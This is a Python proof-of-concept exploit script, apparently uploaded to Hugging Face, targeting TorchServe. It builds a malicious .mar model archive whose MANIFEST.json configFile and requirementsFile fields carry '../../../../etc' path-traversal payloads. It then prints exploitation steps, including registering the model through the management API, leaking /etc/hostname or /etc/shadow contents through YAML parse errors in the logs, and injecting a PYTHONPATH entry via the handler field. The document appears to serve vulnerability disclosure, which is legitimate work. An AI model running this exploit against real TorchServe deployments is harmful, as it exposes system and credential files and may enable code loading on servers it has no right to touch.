Upload poc_torchserve_configfile_traversal.py with huggingface_hub

poc_torchserve_configfile_traversal.py

@@ -0,0 +1,241 @@
+#!/usr/bin/env python3
+"""
+PoC: TorchServe Post-Extraction Path Traversal via configFile in MANIFEST.json
+
+Vulnerability: The configFile field in MANIFEST.json is passed directly to
+`new File(modelDir.getAbsolutePath(), manifest.getModel().getConfigFile())`
+in ModelArchive.getModelConfig() (ModelArchive.java:225-226) without any
+path traversal validation.
+
+This is DISTINCT from CVE-2023-48299 (ZipSlip), which only validates paths
+during ZIP extraction in ZipUtils.java. The configFile value is consumed
+POST-extraction from the already-parsed MANIFEST.json, completely bypassing
+the ZipSlip fix.
+
+Impact:
+  - Arbitrary file read: TorchServe reads the traversed path and parses it
+    as YAML via ArchiveUtils.readYamlFile(). The file contents (or YAML parse
+    errors containing file contents) are exposed in logs and error responses.
+  - Similarly, requirementsFile is used in ModelManager.java:296-297 with
+    Paths.get(model.getModelDir().getAbsolutePath(), requirementsFile) and
+    then passed to `pip install -r`, enabling arbitrary file read or
+    dependency confusion.
+  - The handler field is used in EnvironmentUtils.java:29-36 to construct
+    PYTHONPATH entries without validation.
+
+Repository: https://github.com/pytorch/serve
+Commit tested: 62c4d6a1fdc1d071dbcf758ebd756029af20bd5e
+"""
+
+import json
+import zipfile
+import struct
+import io
+import os
+import sys
+import tempfile
+import argparse
+import textwrap
+
+# Default traversal targets
+DEFAULT_TRAVERSAL_CONFIGFILE = "../../../../etc/hostname"
+DEFAULT_TRAVERSAL_REQUIREMENTS = "../../../../etc/hostname"
+
+
+def create_malicious_mar(
+    output_path: str,
+    traversal_path: str = DEFAULT_TRAVERSAL_CONFIGFILE,
+    model_name: str = "malicious_model",
+    use_requirements: bool = False,
+) -> str:
+    """
+    Create a minimal .mar (Model ARchive) file with a path traversal payload
+    in the configFile field of MANIFEST.json.
+
+    A .mar file is simply a ZIP archive containing:
+      - MANIFEST.json  (model metadata, parsed by TorchServe)
+      - handler .py    (model handler script)
+
+    The configFile field in MANIFEST.json is deserialized into
+    Manifest.Model.configFile and later used without validation in
+    ModelArchive.getModelConfig().
+    """
+
+    manifest = {
+        "createdOn": "01/01/2025 00:00:00",
+        "runtime": "python",
+        "model": {
+            "modelName": model_name,
+            "serializedFile": "model.bin",
+            "handler": "handler.py",
+            "modelVersion": "1.0",
+        },
+        "archiverVersion": "0.9.0",
+    }
+
+    # Inject path traversal into configFile
+    manifest["model"]["configFile"] = traversal_path
+
+    if use_requirements:
+        manifest["model"]["requirementsFile"] = traversal_path
+
+    # Minimal handler that does nothing (required for model registration)
+    handler_code = textwrap.dedent("""\
+        # Minimal handler for PoC
+        from ts.torch_handler.base_handler import BaseHandler
+
+        class MaliciousHandler(BaseHandler):
+            def initialize(self, context):
+                pass
+            def handle(self, data, context):
+                return [{"status": "ok"}]
+    """)
+
+    # Fake serialized model (can be empty for our purposes)
+    fake_model_bin = b"\\x00" * 16
+
+    with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr("MAR-INF/MANIFEST.json", json.dumps(manifest, indent=2))
+        zf.writestr("handler.py", handler_code)
+        zf.writestr("model.bin", fake_model_bin)
+
+    return output_path
+
+
+def print_exploitation_steps(mar_path: str, model_name: str, traversal_path: str):
+    """Print step-by-step exploitation instructions."""
+
+    abs_mar = os.path.abspath(mar_path)
+
+    print(f"""
+=============================================================
+  TorchServe configFile Path Traversal PoC
+=============================================================
+
+[*] Malicious .mar archive created: {abs_mar}
+[*] Traversal payload: configFile = "{traversal_path}"
+
+--- MANIFEST.json contents ---""")
+
+    with zipfile.ZipFile(mar_path, "r") as zf:
+        manifest_data = zf.read("MAR-INF/MANIFEST.json").decode()
+        print(manifest_data)
+
+    print(f"""--- End MANIFEST.json ---
+
+EXPLOITATION STEPS:
+===================
+
+1. Start TorchServe (default config):
+   $ torchserve --start --model-store /tmp/model_store --ncs
+
+2. Copy the malicious .mar to the model store:
+   $ cp {abs_mar} /tmp/model_store/
+
+3. Register the model via the Management API:
+   $ curl -X POST "http://localhost:8081/models?url={model_name}.mar&model_name={model_name}&initial_workers=1"
+
+4. TorchServe will:
+   a. Extract the .mar (ZIP) to a temp directory, e.g.:
+      /tmp/models/<hash>/{model_name}/
+   b. Parse MANIFEST.json and read manifest.model.configFile
+   c. Call ModelArchive.getModelConfig() which executes:
+      new File(modelDir.getAbsolutePath(), "{traversal_path}")
+   d. This resolves to a path OUTSIDE the model directory:
+      /tmp/models/<hash>/{model_name}/{traversal_path}
+      -> which normalizes to e.g., /etc/hostname
+   e. The file is read and parsed as YAML via ArchiveUtils.readYamlFile()
+
+5. Observe the result:
+   - If the target file is valid YAML, its contents are parsed into
+     ModelConfig and may influence model behavior.
+   - If the target file is NOT valid YAML, the parse error in the
+     TorchServe log will contain the file contents:
+     "Failed to parse model config file ../../../../etc/hostname"
+     followed by the SnakeYAML exception showing the file content.
+
+   Check TorchServe logs:
+   $ cat logs/ts_log.log | grep -A5 "Failed to parse model config"
+
+ALTERNATIVE VECTORS:
+====================
+
+A) requirementsFile traversal (ModelManager.java:296-297):
+   Set "requirementsFile": "../../../../etc/crontab" in MANIFEST.json.
+   When install_py_dep_per_model=true, TorchServe runs:
+     pip install -r /tmp/models/<hash>/{model_name}/../../../../etc/crontab
+   This reads and attempts to install packages from the traversed file path.
+
+B) handler field (EnvironmentUtils.java:29-36):
+   Set "handler": "../../../../etc:/malicious_handler" in MANIFEST.json.
+   The path before ":" is split and added to PYTHONPATH, enabling
+   code loading from arbitrary directories.
+
+EXPECTED OUTPUT IN LOGS:
+========================
+For configFile = "../../../../etc/hostname":
+  ERROR - Failed to parse model config file ../../../../etc/hostname
+  org.yaml.snakeyaml.scanner.ScannerException: ...
+  (hostname value visible in error message)
+
+For configFile = "../../../../etc/shadow" (if readable):
+  ERROR - Failed to parse model config file ../../../../etc/shadow
+  (shadow file contents partially visible in YAML parse errors)
+""")
+
+
+def verify_mar_structure(mar_path: str):
+    """Verify the .mar file is well-formed."""
+    print(f"[*] Verifying .mar structure: {mar_path}")
+    with zipfile.ZipFile(mar_path, "r") as zf:
+        names = zf.namelist()
+        print(f"    Archive entries: {names}")
+        assert "MAR-INF/MANIFEST.json" in names, "Missing MANIFEST.json"
+
+        manifest = json.loads(zf.read("MAR-INF/MANIFEST.json"))
+        config_file = manifest.get("model", {}).get("configFile", "")
+        print(f"    configFile value: {config_file}")
+        assert ".." in config_file, "Traversal payload not present in configFile"
+        print("[+] .mar file is valid and contains traversal payload")
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="PoC: TorchServe configFile path traversal"
+    )
+    parser.add_argument(
+        "-o", "--output",
+        default="malicious_model.mar",
+        help="Output .mar file path (default: malicious_model.mar)",
+    )
+    parser.add_argument(
+        "-t", "--traversal-path",
+        default=DEFAULT_TRAVERSAL_CONFIGFILE,
+        help=f"Path traversal payload for configFile (default: {DEFAULT_TRAVERSAL_CONFIGFILE})",
+    )
+    parser.add_argument(
+        "-n", "--model-name",
+        default="malicious_model",
+        help="Model name (default: malicious_model)",
+    )
+    parser.add_argument(
+        "--requirements",
+        action="store_true",
+        help="Also set requirementsFile to the traversal path",
+    )
+    args = parser.parse_args()
+
+    print("[*] Creating malicious .mar archive...")
+    create_malicious_mar(
+        output_path=args.output,
+        traversal_path=args.traversal_path,
+        model_name=args.model_name,
+        use_requirements=args.requirements,
+    )
+
+    verify_mar_structure(args.output)
+    print_exploitation_steps(args.output, args.model_name, args.traversal_path)
+
+
+if __name__ == "__main__":
+    main()